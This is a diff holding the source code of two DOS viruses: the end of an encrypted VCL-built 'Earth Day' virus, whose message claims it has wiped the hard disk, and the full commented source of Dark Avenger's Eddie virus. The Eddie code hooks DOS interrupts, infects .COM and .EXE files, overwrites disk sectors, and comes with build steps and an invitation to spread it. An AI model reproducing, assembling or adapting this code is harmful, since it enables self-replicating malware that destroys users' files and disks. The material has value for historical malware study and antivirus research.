data00 db "Happy Earth Day!!!",13,10,13,10
|
||||
db "In the spirit of Earth Day,
|
||||
db "this VIRUS has recycled your hard disk.",13,10,0
|
||||
vcl_marker db "[VCL]",0 ; VCL creation marker
|
||||
note db "[Earth Day]",0
|
||||
db "Nowhere Man, [NuKE] '92",0
|
||||
encrypt_code proc near
|
||||
push bp ; Save BP
|
||||
mov bp,di ; Use BP as pointer to code
|
||||
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
|
||||
xor ah,ah ; BIOS get time function
|
||||
int 01Ah
|
||||
mov word ptr [si + 9],dx ; Low word of timer is new key
|
||||
xor byte ptr [si + 1],8 ;
|
||||
xor byte ptr [si + 8],1 ; Change all SIs to DIs
|
||||
xor word ptr [si + 11],0101h; (and vice-versa)
|
||||
lea di,[bp + finish] ; Copy routine into heap
|
||||
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
|
||||
push si ; Save SI for later
|
||||
push cx ; Save CX for later
|
||||
rep movsb ; Copy the bytes
|
||||
lea si,[bp + write_stuff] ; SI points to write stuff
|
||||
mov cx,5 ; CX holds length of write
|
||||
rep movsb ; Copy the bytes
|
||||
pop cx ; Restore CX
|
||||
pop si ; Restore SI
|
||||
inc cx ; Copy the RET also this time
|
||||
rep movsb ; Copy the routine again
|
||||
mov ah,040h ; DOS write to file function
|
||||
lea dx,[bp + start] ; DX points to virus
|
||||
lea si,[bp + finish] ; SI points to routine
|
||||
call si ; Encrypt/write/decrypt
|
||||
mov di,bp ; DI points to virus again
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
write_stuff: mov cx,finish - start ; Length of code
|
||||
int 021h
|
||||
encrypt_code endp
|
||||
end_of_code label near
|
||||
encrypt_decrypt proc near
|
||||
lea si,[bp + start_of_code] ; SI points to code to decrypt
|
||||
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
|
||||
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
|
||||
inc si ; Do the next word
|
||||
inc si ;
|
||||
loop xor_loop ; Loop until we're through
|
||||
ret ; Return to caller
|
||||
encrypt_decrypt endp
|
||||
finish label near
|
||||
code ends
|
||||
end main
|
||||
@@ -0,0 +1,986 @@
|
||||
;************************
|
||||
;* *
|
||||
;* E D D I E *
|
||||
;* *
|
||||
;* by Dark Avenger *
|
||||
;* *
|
||||
;* 3-JAN-1989 *
|
||||
;* *
|
||||
;* version 1.31x *
|
||||
;* *
|
||||
;************************
|
||||
|
||||
; "Blessed is he who expects nothing, for he shall not be disappointed."
|
||||
|
||||
; The original source of one of the first Bulgarian viruses is in front of
|
||||
; you. As you may notice, it's full of rubbish and bugs, but nevertheless
|
||||
; the virus has spread surprisingly quickly throughout the country and made a
|
||||
; quick round the globe. (It's well-known in Eastern and Western Europe, as
|
||||
; well as in USA.) Due to the anniversary of its creation, the source is
|
||||
; distributed freely. You have the rights to distribute the source which can
|
||||
; be charged or free of charge, with the only condition not to modify it.
|
||||
; The one who intentionally distributes this source modified in any way will
|
||||
; be punished! Still, the author will be glad if any of you improves it and
|
||||
; spreads the resulting executive file (i.e., the virus itself). Pay
|
||||
; attention to the fact that after you assemble the source, the resulting
|
||||
; .COM file cannot be run. For that purpose you have to create a three byte
|
||||
; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the
|
||||
; two files. Don't try to place a JMP at the beginning of the source.
|
||||
|
||||
; DISCLAIMER: The author does not take any responsability for any damage,
|
||||
; either direct or implied, caused by the usage or not of this source or of
|
||||
; the resulting code after assembly. No warranty is made about the product
|
||||
; functionability or quality.
|
||||
|
||||
; I cannot resist to express my special gratitude to my "populizer" Dipl.
|
||||
; eng. Vesselin Bontchev, who makes me famous and who, wishing it or
|
||||
; not, helps very much in the spreading of my viruses, in spite of the fact
|
||||
; that he tries to do just the opposite (writing programs in C has never
|
||||
; led to any good).
|
||||
; Greetings to all virus writers!
|
||||
|
||||
code segment
|
||||
assume cs:code,ds:code
|
||||
copyright:
|
||||
db 'Eddie lives...somewhere in time!',0
|
||||
date_stamp:
|
||||
dd 12239000h
|
||||
checksum:
|
||||
db 30
|
||||
|
||||
; Return the control to an .EXE file:
|
||||
; Restores DS=ES=PSP, loads SS:SP and CS:IP.
|
||||
|
||||
exit_exe:
|
||||
mov bx,es
|
||||
add bx,10h
|
||||
add bx,word ptr cs:[si+call_adr+2]
|
||||
mov word ptr cs:[si+patch+2],bx
|
||||
mov bx,word ptr cs:[si+call_adr]
|
||||
mov word ptr cs:[si+patch],bx
|
||||
mov bx,es
|
||||
add bx,10h
|
||||
add bx,word ptr cs:[si+stack_pointer+2]
|
||||
mov ss,bx
|
||||
mov sp,word ptr cs:[si+stack_pointer]
|
||||
db 0eah ;JMP XXXX:YYYY
|
||||
patch:
|
||||
dd 0
|
||||
|
||||
; Returns control to a .COM file:
|
||||
; Restores the first 3 bytes in the
|
||||
; beginning of the file, loads SP and IP.
|
||||
|
||||
exit_com:
|
||||
mov di,100h
|
||||
add si,offset my_save
|
||||
movsb
|
||||
movsw
|
||||
mov sp,ds:[6] ;This is incorrect
|
||||
xor bx,bx
|
||||
push bx
|
||||
jmp [si-11] ;si+call_adr-top_file
|
||||
|
||||
; Program entry point
|
||||
|
||||
startup:
|
||||
call relative
|
||||
relative:
|
||||
pop si ;SI = $
|
||||
sub si,offset relative
|
||||
cld
|
||||
cmp word ptr cs:[si+my_save],5a4dh
|
||||
je exe_ok
|
||||
cli
|
||||
mov sp,si ;A separate stack is supported for
|
||||
add sp,offset top_file+100h ;the .COM files, in order not to
|
||||
sti ;overlap the stack by the program
|
||||
cmp sp,ds:[6]
|
||||
jnc exit_com
|
||||
exe_ok:
|
||||
push ax
|
||||
push es
|
||||
push si
|
||||
push ds
|
||||
mov di,si
|
||||
|
||||
; Looking for the address of INT 13h handler in ROM-BIOS
|
||||
|
||||
xor ax,ax
|
||||
push ax
|
||||
mov ds,ax
|
||||
les ax,ds:[13h*4]
|
||||
mov word ptr cs:[si+fdisk],ax
|
||||
mov word ptr cs:[si+fdisk+2],es
|
||||
mov word ptr cs:[si+disk],ax
|
||||
mov word ptr cs:[si+disk+2],es
|
||||
mov ax,ds:[40h*4+2] ;The INT 13h vector is moved to INT 40h
|
||||
cmp ax,0f000h ;for diskettes if a hard disk is
|
||||
jne nofdisk ;available
|
||||
mov word ptr cs:[si+disk+2],ax
|
||||
mov ax,ds:[40h*4]
|
||||
mov word ptr cs:[si+disk],ax
|
||||
mov dl,80h
|
||||
mov ax,ds:[41h*4+2] ;INT 41h usually points to the segment,
|
||||
cmp ax,0f000h ;where the original INT 13h vector is
|
||||
je isfdisk
|
||||
cmp ah,0c8h
|
||||
jc nofdisk
|
||||
cmp ah,0f4h
|
||||
jnc nofdisk
|
||||
test al,7fh
|
||||
jnz nofdisk
|
||||
mov ds,ax
|
||||
cmp ds:[0],0aa55h
|
||||
jne nofdisk
|
||||
mov dl,ds:[2]
|
||||
isfdisk:
|
||||
mov ds,ax
|
||||
xor dh,dh
|
||||
mov cl,9
|
||||
shl dx,cl
|
||||
mov cx,dx
|
||||
xor si,si
|
||||
findvect:
|
||||
lodsw ;Occasionally begins with:
|
||||
cmp ax,0fa80h ; CMP DL,80h
|
||||
jne altchk ; JNC somewhere
|
||||
lodsw
|
||||
cmp ax,7380h
|
||||
je intchk
|
||||
jne nxt0
|
||||
altchk:
|
||||
cmp ax,0c2f6h ;or with:
|
||||
jne nxt ; TEST DL,80h
|
||||
lodsw ; JNZ somewhere
|
||||
cmp ax,7580h
|
||||
jne nxt0
|
||||
intchk:
|
||||
inc si ;then there is:
|
||||
lodsw ; INT 40h
|
||||
cmp ax,40cdh
|
||||
je found
|
||||
sub si,3
|
||||
nxt0:
|
||||
dec si
|
||||
dec si
|
||||
nxt:
|
||||
dec si
|
||||
loop findvect
|
||||
jmp short nofdisk
|
||||
found:
|
||||
sub si,7
|
||||
mov word ptr cs:[di+fdisk],si
|
||||
mov word ptr cs:[di+fdisk+2],ds
|
||||
nofdisk:
|
||||
mov si,di
|
||||
pop ds
|
||||
|
||||
; Check for program is present in memory:
|
||||
|
||||
les ax,ds:[21h*4]
|
||||
mov word ptr cs:[si+save_int_21],ax
|
||||
mov word ptr cs:[si+save_int_21+2],es
|
||||
push cs
|
||||
pop ds
|
||||
cmp ax,offset int_21
|
||||
jne bad_func
|
||||
xor di,di
|
||||
mov cx,offset my_size
|
||||
scan_func:
|
||||
lodsb
|
||||
scasb
|
||||
jne bad_func
|
||||
loop scan_func
|
||||
pop es
|
||||
jmp go_program
|
||||
|
||||
; Move the program to the top of memory:
|
||||
; (it's full of rubbish and bugs here)
|
||||
|
||||
bad_func:
|
||||
pop es
|
||||
mov ah,49h
|
||||
int 21h
|
||||
mov bx,0ffffh
|
||||
mov ah,48h
|
||||
int 21h
|
||||
sub bx,(top_bz+my_bz+1ch-1)/16+2
|
||||
jc go_program
|
||||
mov cx,es
|
||||
stc
|
||||
adc cx,bx
|
||||
mov ah,4ah
|
||||
int 21h
|
||||
mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1
|
||||
stc
|
||||
sbb es:[2],bx
|
||||
push es
|
||||
mov es,cx
|
||||
mov ah,4ah
|
||||
int 21h
|
||||
mov ax,es
|
||||
dec ax
|
||||
mov ds,ax
|
||||
mov word ptr ds:[1],8
|
||||
call mul_16
|
||||
mov bx,ax
|
||||
mov cx,dx
|
||||
pop ds
|
||||
mov ax,ds
|
||||
call mul_16
|
||||
add ax,ds:[6]
|
||||
adc dx,0
|
||||
sub ax,bx
|
||||
sbb dx,cx
|
||||
jc mem_ok
|
||||
sub ds:[6],ax ;Reduction of the segment size
|
||||
mem_ok:
|
||||
pop si
|
||||
push si
|
||||
push ds
|
||||
push cs
|
||||
xor di,di
|
||||
mov ds,di
|
||||
lds ax,ds:[27h*4]
|
||||
mov word ptr cs:[si+save_int_27],ax
|
||||
mov word ptr cs:[si+save_int_27+2],ds
|
||||
pop ds
|
||||
mov cx,offset aux_size
|
||||
rep movsb
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h
|
||||
mov ds:[21h*4+2],es
|
||||
mov ds:[27h*4],offset int_27
|
||||
mov ds:[27h*4+2],es
|
||||
mov word ptr es:[filehndl],ax
|
||||
pop es
|
||||
go_program:
|
||||
pop si
|
||||
|
||||
; Smash the next disk sector:
|
||||
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ax,ds:[13h*4]
|
||||
mov word ptr cs:[si+save_int_13],ax
|
||||
mov ax,ds:[13h*4+2]
|
||||
mov word ptr cs:[si+save_int_13+2],ax
|
||||
mov ds:[13h*4],offset int_13
|
||||
add ds:[13h*4],si
|
||||
mov ds:[13h*4+2],cs
|
||||
pop ds
|
||||
push ds
|
||||
push si
|
||||
mov bx,si
|
||||
lds ax,ds:[2ah]
|
||||
xor si,si
|
||||
mov dx,si
|
||||
scan_envir: ;Fetch program's name
|
||||
lodsw ;(with DOS 2.x it doesn't work anyway)
|
||||
dec si
|
||||
test ax,ax
|
||||
jnz scan_envir
|
||||
add si,3
|
||||
lodsb
|
||||
|
||||
; The following instruction is complete nonsense. Try to enter a drive &
|
||||
; directory path in lowercase, then run an infected program from there.
|
||||
; As a result of an error here and an error in DOS the next sector is not
|
||||
; smashed. Two memory bytes are smashed instead, most probably onto the
|
||||
; infected program.
|
||||
|
||||
sub al,'A'
|
||||
mov cx,1
|
||||
push cs
|
||||
pop ds
|
||||
add bx,offset int_27
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
int 25h
|
||||
pop ax
|
||||
pop cx
|
||||
pop bx
|
||||
inc byte ptr [bx+0ah]
|
||||
and byte ptr [bx+0ah],0fh ;It seems that 15 times doing
|
||||
jnz store_sec ;nothing is not enough for some.
|
||||
mov al,[bx+10h]
|
||||
xor ah,ah
|
||||
mul word ptr [bx+16h]
|
||||
add ax,[bx+0eh]
|
||||
push ax
|
||||
mov ax,[bx+11h]
|
||||
mov dx,32
|
||||
mul dx
|
||||
div word ptr [bx+0bh]
|
||||
pop dx
|
||||
add dx,ax
|
||||
mov ax,[bx+8]
|
||||
add ax,40h
|
||||
cmp ax,[bx+13h]
|
||||
jc store_new
|
||||
inc ax
|
||||
and ax,3fh
|
||||
add ax,dx
|
||||
cmp ax,[bx+13h]
|
||||
jnc small_disk
|
||||
store_new:
|
||||
mov [bx+8],ax
|
||||
store_sec:
|
||||
pop ax
|
||||
xor dx,dx
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
int 26h
|
||||
|
||||
; The writing through this interrupt is not the smartest thing, because it
|
||||
; can be intercepted (what Vesselin Bontchev has managed to notice).
|
||||
|
||||
pop ax
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
cmp byte ptr [bx+0ah],0
|
||||
jne not_now
|
||||
mov dx,[bx+8]
|
||||
pop bx
|
||||
push bx
|
||||
int 26h
|
||||
small_disk:
|
||||
pop ax
|
||||
not_now:
|
||||
pop si
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ax,word ptr cs:[si+save_int_13]
|
||||
mov ds:[13h*4],ax
|
||||
mov ax,word ptr cs:[si+save_int_13+2]
|
||||
mov ds:[13h*4+2],ax
|
||||
pop ds
|
||||
pop ax
|
||||
cmp word ptr cs:[si+my_save],5a4dh
|
||||
jne go_exit_com
|
||||
jmp exit_exe
|
||||
go_exit_com:
|
||||
jmp exit_com
|
||||
int_24:
|
||||
mov al,3 ;This instruction seems unnecessary
|
||||
iret
|
||||
|
||||
; INT 27h handler (this is necessary)
|
||||
|
||||
int_27:
|
||||
pushf
|
||||
call alloc
|
||||
popf
|
||||
jmp dword ptr cs:[save_int_27]
|
||||
|
||||
; During the DOS functions Set & Get Vector it seems that the virus has not
|
||||
; intercepted them (this is a doubtful advantage and it is a possible
|
||||
; source of errors with some "intelligent" programs)
|
||||
|
||||
set_int_27:
|
||||
mov word ptr cs:[save_int_27],dx
|
||||
mov word ptr cs:[save_int_27+2],ds
|
||||
popf
|
||||
iret
|
||||
set_int_21:
|
||||
mov word ptr cs:[save_int_21],dx
|
||||
mov word ptr cs:[save_int_21+2],ds
|
||||
popf
|
||||
iret
|
||||
get_int_27:
|
||||
les bx,dword ptr cs:[save_int_27]
|
||||
popf
|
||||
iret
|
||||
get_int_21:
|
||||
les bx,dword ptr cs:[save_int_21]
|
||||
popf
|
||||
iret
|
||||
|
||||
exec:
|
||||
call do_file
|
||||
call alloc
|
||||
popf
|
||||
jmp dword ptr cs:[save_int_21]
|
||||
|
||||
db 'Diana P.',0
|
||||
|
||||
; INT 21h handler. Infects files during execution, copying, browsing or
|
||||
; creating and some other operations. The execution of functions 0 and 26h
|
||||
; has bad consequences.
|
||||
|
||||
int_21:
|
||||
push bp
|
||||
mov bp,sp
|
||||
push [bp+6]
|
||||
popf
|
||||
pop bp
|
||||
pushf
|
||||
call ontop
|
||||
cmp ax,2521h
|
||||
je set_int_21
|
||||
cmp ax,2527h
|
||||
je set_int_27
|
||||
cmp ax,3521h
|
||||
je get_int_21
|
||||
cmp ax,3527h
|
||||
je get_int_27
|
||||
cld
|
||||
cmp ax,4b00h
|
||||
je exec
|
||||
cmp ah,3ch
|
||||
je create
|
||||
cmp ah,3eh
|
||||
je close
|
||||
cmp ah,5bh
|
||||
jne not_create
|
||||
create:
|
||||
cmp word ptr cs:[filehndl],0;May be 0 if the file is open
|
||||
jne dont_touch
|
||||
call see_name
|
||||
jnz dont_touch
|
||||
call alloc
|
||||
popf
|
||||
call function
|
||||
jc int_exit
|
||||
pushf
|
||||
push es
|
||||
push cs
|
||||
pop es
|
||||
push si
|
||||
push di
|
||||
push cx
|
||||
push ax
|
||||
mov di,offset filehndl
|
||||
stosw
|
||||
mov si,dx
|
||||
mov cx,65
|
||||
move_name:
|
||||
lodsb
|
||||
stosb
|
||||
test al,al
|
||||
jz all_ok
|
||||
loop move_name
|
||||
mov word ptr es:[filehndl],cx
|
||||
all_ok:
|
||||
pop ax
|
||||
pop cx
|
||||
pop di
|
||||
pop si
|
||||
pop es
|
||||
go_exit:
|
||||
popf
|
||||
jnc int_exit ;JMP
|
||||
close:
|
||||
cmp bx,word ptr cs:[filehndl]
|
||||
jne dont_touch
|
||||
test bx,bx
|
||||
jz dont_touch
|
||||
call alloc
|
||||
popf
|
||||
call function
|
||||
jc int_exit
|
||||
pushf
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
push dx
|
||||
mov dx,offset filehndl+2
|
||||
call do_file
|
||||
mov word ptr cs:[filehndl],0
|
||||
pop dx
|
||||
pop ds
|
||||
jmp go_exit
|
||||
not_create:
|
||||
cmp ah,3dh
|
||||
je touch
|
||||
cmp ah,43h
|
||||
je touch
|
||||
cmp ah,56h ;Unfortunately, the command inter-
|
||||
jne dont_touch ;preter does not use this function
|
||||
touch:
|
||||
call see_name
|
||||
jnz dont_touch
|
||||
call do_file
|
||||
dont_touch:
|
||||
call alloc
|
||||
popf
|
||||
call function
|
||||
int_exit:
|
||||
pushf
|
||||
push ds
|
||||
call get_chain
|
||||
mov byte ptr ds:[0],'Z'
|
||||
pop ds
|
||||
popf
|
||||
dummy proc far ;???
|
||||
ret 2
|
||||
dummy endp
|
||||
|
||||
; Checks whether the file is .COM or .EXE.
|
||||
; It is not called upon file execution.
|
||||
|
||||
see_name:
|
||||
push ax
|
||||
push si
|
||||
mov si,dx
|
||||
scan_name:
|
||||
lodsb
|
||||
test al,al
|
||||
jz bad_name
|
||||
cmp al,'.'
|
||||
jnz scan_name
|
||||
call get_byte
|
||||
mov ah,al
|
||||
call get_byte
|
||||
cmp ax,'co'
|
||||
jz pos_com
|
||||
cmp ax,'ex'
|
||||
jnz good_name
|
||||
call get_byte
|
||||
cmp al,'e'
|
||||
jmp short good_name
|
||||
pos_com:
|
||||
call get_byte
|
||||
cmp al,'m'
|
||||
jmp short good_name
|
||||
bad_name:
|
||||
inc al
|
||||
good_name:
|
||||
pop si
|
||||
pop ax
|
||||
ret
|
||||
|
||||
; Converts into lowercase (the subroutines are a great thing).
|
||||
|
||||
get_byte:
|
||||
lodsb
|
||||
cmp al,'C'
|
||||
jc byte_got
|
||||
cmp al,'Y'
|
||||
jnc byte_got
|
||||
add al,20h
|
||||
byte_got:
|
||||
ret
|
||||
|
||||
; Calls the original INT 21h.
|
||||
|
||||
function:
|
||||
pushf
|
||||
call dword ptr cs:[save_int_21]
|
||||
ret
|
||||
|
||||
; Arrange to infect an executable file.
|
||||
|
||||
do_file:
|
||||
push ds ;Save the registers in stack
|
||||
push es
|
||||
push si
|
||||
push di
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
mov si,ds
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
les ax,ds:[24h*4] ;Saves INT 13h and INT 24h in stack
|
||||
push es ;and changes them with what is needed
|
||||
push ax
|
||||
mov ds:[24h*4],offset int_24
|
||||
mov ds:[24h*4+2],cs
|
||||
les ax,ds:[13h*4]
|
||||
mov word ptr cs:[save_int_13],ax
|
||||
mov word ptr cs:[save_int_13+2],es
|
||||
mov ds:[13h*4],offset int_13
|
||||
mov ds:[13h*4+2],cs
|
||||
push es
|
||||
push ax
|
||||
mov ds,si
|
||||
xor cx,cx ;Arranges to infect Read-only files
|
||||
mov ax,4300h
|
||||
call function
|
||||
mov bx,cx
|
||||
and cl,0feh
|
||||
cmp cl,bl
|
||||
je dont_change
|
||||
mov ax,4301h
|
||||
call function
|
||||
stc
|
||||
dont_change:
|
||||
pushf
|
||||
push ds
|
||||
push dx
|
||||
push bx
|
||||
mov ax,3d02h ;Now we can safely open the file
|
||||
call function
|
||||
jc cant_open
|
||||
mov bx,ax
|
||||
call disease
|
||||
mov ah,3eh ;Close it
|
||||
|
||||
call function
|
||||
cant_open:
|
||||
pop cx
|
||||
pop dx
|
||||
pop ds
|
||||
popf
|
||||
jnc no_update
|
||||
mov ax,4301h ;Restores file's attributes
|
||||
call function ;if they were changed (just in case)
|
||||
no_update:
|
||||
xor ax,ax ;Restores INT 13h and INT 24h
|
||||
mov ds,ax
|
||||
pop ds:[13h*4]
|
||||
pop ds:[13h*4+2]
|
||||
pop ds:[24h*4]
|
||||
pop ds:[24h*4+2]
|
||||
pop dx ;Register restoration
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
pop di
|
||||
pop si
|
||||
pop es
|
||||
pop ds
|
||||
ret
|
||||
|
||||
; This routine is the working horse.
|
||||
|
||||
disease:
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
mov dx,offset top_save ;Read the file beginning
|
||||
mov cx,18h
|
||||
mov ah,3fh
|
||||
int 21h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov ax,4202h ;Save file length
|
||||
int 21h
|
||||
mov word ptr [top_save+1ah],dx
|
||||
cmp ax,offset my_size ;This should be top_file
|
||||
sbb dx,0
|
||||
jc stop_fuck_2 ;Small files are not infected
|
||||
mov word ptr [top_save+18h],ax
|
||||
cmp word ptr [top_save],5a4dh
|
||||
jne com_file
|
||||
mov ax,word ptr [top_save+8]
|
||||
add ax,word ptr [top_save+16h]
|
||||
call mul_16
|
||||
add ax,word ptr [top_save+14h]
|
||||
adc dx,0
|
||||
mov cx,dx
|
||||
mov dx,ax
|
||||
jmp short see_sick
|
||||
com_file:
|
||||
cmp byte ptr [top_save],0e9h
|
||||
jne see_fuck
|
||||
mov dx,word ptr [top_save+1]
|
||||
add dx,103h
|
||||
jc see_fuck
|
||||
dec dh
|
||||
xor cx,cx
|
||||
|
||||
; Check if the file is properly infected
|
||||
|
||||
see_sick:
|
||||
sub dx,startup-copyright
|
||||
sbb cx,0
|
||||
mov ax,4200h
|
||||
int 21h
|
||||
add ax,offset top_file
|
||||
adc dx,0
|
||||
cmp ax,word ptr [top_save+18h]
|
||||
jne see_fuck
|
||||
cmp dx,word ptr [top_save+1ah]
|
||||
jne see_fuck
|
||||
mov dx,offset top_save+1ch
|
||||
mov si,dx
|
||||
mov cx,offset my_size
|
||||
mov ah,3fh
|
||||
int 21h
|
||||
jc see_fuck
|
||||
cmp cx,ax
|
||||
jne see_fuck
|
||||
xor di,di
|
||||
next_byte:
|
||||
|
||||
lodsb
|
||||
scasb
|
||||
jne see_fuck
|
||||
loop next_byte
|
||||
stop_fuck_2:
|
||||
ret
|
||||
see_fuck:
|
||||
xor cx,cx ;Seek to the end of file
|
||||
xor dx,dx
|
||||
mov ax,4202h
|
||||
int 21h
|
||||
cmp word ptr [top_save],5a4dh
|
||||
je fuck_exe
|
||||
add ax,offset aux_size+200h ;Watch out for too big .COM files
|
||||
adc dx,0
|
||||
je fuck_it
|
||||
ret
|
||||
|
||||
; Pad .EXE files to paragraph boundary. This is absolutely unnecessary.
|
||||
|
||||
fuck_exe:
|
||||
mov dx,word ptr [top_save+18h]
|
||||
neg dl
|
||||
and dx,0fh
|
||||
xor cx,cx
|
||||
mov ax,4201h
|
||||
int 21h
|
||||
mov word ptr [top_save+18h],ax
|
||||
mov word ptr [top_save+1ah],dx
|
||||
fuck_it:
|
||||
mov ax,5700h ;Get file's date
|
||||
int 21h
|
||||
pushf
|
||||
push cx
|
||||
push dx
|
||||
cmp word ptr [top_save],5a4dh
|
||||
je exe_file ;Very clever, isn't it?
|
||||
mov ax,100h
|
||||
jmp short set_adr
|
||||
exe_file:
|
||||
mov ax,word ptr [top_save+14h]
|
||||
mov dx,word ptr [top_save+16h]
|
||||
set_adr:
|
||||
mov di,offset call_adr
|
||||
stosw
|
||||
mov ax,dx
|
||||
stosw
|
||||
mov ax,word ptr [top_save+10h]
|
||||
stosw
|
||||
mov ax,word ptr [top_save+0eh]
|
||||
stosw
|
||||
mov si,offset top_save ;This offers the possibilities to
|
||||
movsb ;some nasty programs to restore
|
||||
movsw ;exactly the original length
|
||||
xor dx,dx ;of the .EXE files
|
||||
mov cx,offset top_file
|
||||
mov ah,40h
|
||||
int 21h ;Write the virus
|
||||
jc go_no_fuck ;(don't trace here)
|
||||
xor cx,ax
|
||||
jnz go_no_fuck
|
||||
mov dx,cx
|
||||
mov ax,4200h
|
||||
int 21h
|
||||
cmp word ptr [top_save],5a4dh
|
||||
je do_exe
|
||||
mov byte ptr [top_save],0e9h
|
||||
mov ax,word ptr [top_save+18h]
|
||||
add ax,startup-copyright-3
|
||||
mov word ptr [top_save+1],ax
|
||||
mov cx,3
|
||||
jmp short write_header
|
||||
go_no_fuck:
|
||||
jmp short no_fuck
|
||||
|
||||
; Construct the .EXE file's header
|
||||
|
||||
do_exe:
|
||||
call mul_hdr
|
||||
not ax
|
||||
not dx
|
||||
inc ax
|
||||
jne calc_offs
|
||||
inc dx
|
||||
calc_offs:
|
||||
add ax,word ptr [top_save+18h]
|
||||
adc dx,word ptr [top_save+1ah]
|
||||
mov cx,10h
|
||||
div cx
|
||||
mov word ptr [top_save+14h],startup-copyright
|
||||
mov word ptr [top_save+16h],ax
|
||||
add ax,(offset top_file-offset copyright-1)/16+1
|
||||
mov word ptr [top_save+0eh],ax
|
||||
mov word ptr [top_save+10h],100h
|
||||
add word ptr [top_save+18h],offset top_file
|
||||
adc word ptr [top_save+1ah],0
|
||||
mov ax,word ptr [top_save+18h]
|
||||
and ax,1ffh
|
||||
mov word ptr [top_save+2],ax
|
||||
pushf
|
||||
mov ax,word ptr [top_save+19h]
|
||||
shr byte ptr [top_save+1bh],1
|
||||
rcr ax,1
|
||||
popf
|
||||
jz update_len
|
||||
inc ax
|
||||
update_len:
|
||||
mov word ptr [top_save+4],ax
|
||||
mov cx,18h
|
||||
write_header:
|
||||
mov dx,offset top_save
|
||||
mov ah,40h
|
||||
int 21h ;Write the file beginning
|
||||
no_fuck:
|
||||
pop dx
|
||||
pop cx
|
||||
popf
|
||||
jc stop_fuck
|
||||
mov ax,5701h ;Restore the original file date
|
||||
int 21h
|
||||
stop_fuck:
|
||||
ret
|
||||
|
||||
; The following is used by the INT 21h and INT 27h handlers in connection
|
||||
; to the program hiding in memory from those who don't need to see it.
|
||||
; The whole system is absurd and meaningless and it is also another source
|
||||
; for program conflicts.
|
||||
|
||||
alloc:
|
||||
push ds
|
||||
call get_chain
|
||||
mov byte ptr ds:[0],'M'
|
||||
pop ds
|
||||
|
||||
; Assures that the program is the first one in the processes,
|
||||
; which have intercepted INT 21h (yet another source of conflicts).
|
||||
|
||||
ontop:
|
||||
push ds
|
||||
push ax
|
||||
push bx
|
||||
push dx
|
||||
xor bx,bx
|
||||
mov ds,bx
|
||||
lds dx,ds:[21h*4]
|
||||
cmp dx,offset int_21
|
||||
jne search_segment
|
||||
mov ax,ds
|
||||
mov bx,cs
|
||||
cmp ax,bx
|
||||
je test_complete
|
||||
|
||||
; Searches the segment of the sucker who has intercepted INT 21h, in
|
||||
; order to find where it has stored the old values and to replace them.
|
||||
; Nothing is done for INT 27h.
|
||||
|
||||
xor bx,bx
|
||||
search_segment:
|
||||
mov ax,[bx]
|
||||
cmp ax,offset int_21
|
||||
jne search_next
|
||||
mov ax,cs
|
||||
cmp ax,[bx+2]
|
||||
je got_him
|
||||
search_next:
|
||||
inc bx
|
||||
jne search_segment
|
||||
je return_control
|
||||
got_him:
|
||||
mov ax,word ptr cs:[save_int_21]
|
||||
mov [bx],ax
|
||||
mov ax,word ptr cs:[save_int_21+2]
|
||||
mov [bx+2],ax
|
||||
mov word ptr cs:[save_int_21],dx
|
||||
mov word ptr cs:[save_int_21+2],ds
|
||||
xor bx,bx
|
||||
|
||||
; Even if he has not saved them in the same segment, this won't help him.
|
||||
|
||||
return_control:
|
||||
mov ds,bx
|
||||
mov ds:[21h*4],offset int_21
|
||||
mov ds:[21h*4+2],cs
|
||||
test_complete:
|
||||
pop dx
|
||||
pop bx
|
||||
pop ax
|
||||
pop ds
|
||||
ret
|
||||
|
||||
; Fetch the segment of the last MCB
|
||||
|
||||
get_chain:
|
||||
push ax
|
||||
push bx
|
||||
mov ah,62h
|
||||
call function
|
||||
mov ax,cs
|
||||
dec ax
|
||||
dec bx
|
||||
next_blk:
|
||||
mov ds,bx
|
||||
stc
|
||||
adc bx,ds:[3]
|
||||
cmp bx,ax
|
||||
jc next_blk
|
||||
pop bx
|
||||
pop ax
|
||||
ret
|
||||
|
||||
; Multiply by 16
|
||||
|
||||
mul_hdr:
|
||||
mov ax,word ptr [top_save+8]
|
||||
mul_16:
|
||||
mov dx,10h
|
||||
mul dx
|
||||
ret
|
||||
|
||||
db 'This program was written in the city of Sofia '
|
||||
db '(C) 1988-89 Dark Avenger',0
|
||||
|
||||
; INT 13h handler.
|
||||
; Calls the original vectors in BIOS, if it's a writing call
|
||||
|
||||
int_13:
|
||||
cmp ah,3
|
||||
jnz subfn_ok
|
||||
cmp dl,80h
|
||||
jnc hdisk
|
||||
db 0eah ;JMP XXXX:YYYY
|
||||
my_size: ;--- Up to here comparison
|
||||
disk: ; with the original is made
|
||||
dd 0
|
||||
hdisk:
|
||||
db 0eah ;JMP XXXX:YYYY
|
||||
fdisk:
|
||||
dd 0
|
||||
subfn_ok:
|
||||
db 0eah ;JMP XXXX:YYYY
|
||||
save_int_13:
|
||||
dd 0
|
||||
call_adr:
|
||||
dd 100h
|
||||
|
||||
stack_pointer:
|
||||
dd 0 ;The original value of SS:SP
|
||||
my_save:
|
||||
int 20h ;The original contents of the first
|
||||
nop ;3 bytes of the file
|
||||
top_file: ;--- Up to here the code is written
|
||||
filehndl equ $ ; in the files
|
||||
filename equ filehndl+2 ;Buffer for the name of the opened file
|
||||
save_int_27 equ filename+65 ;Original INT 27h vector
|
||||
save_int_21 equ save_int_27+4 ;Original INT 21h vector
|
||||
aux_size equ save_int_21+4 ;--- Up to here is moved into memory
|
||||
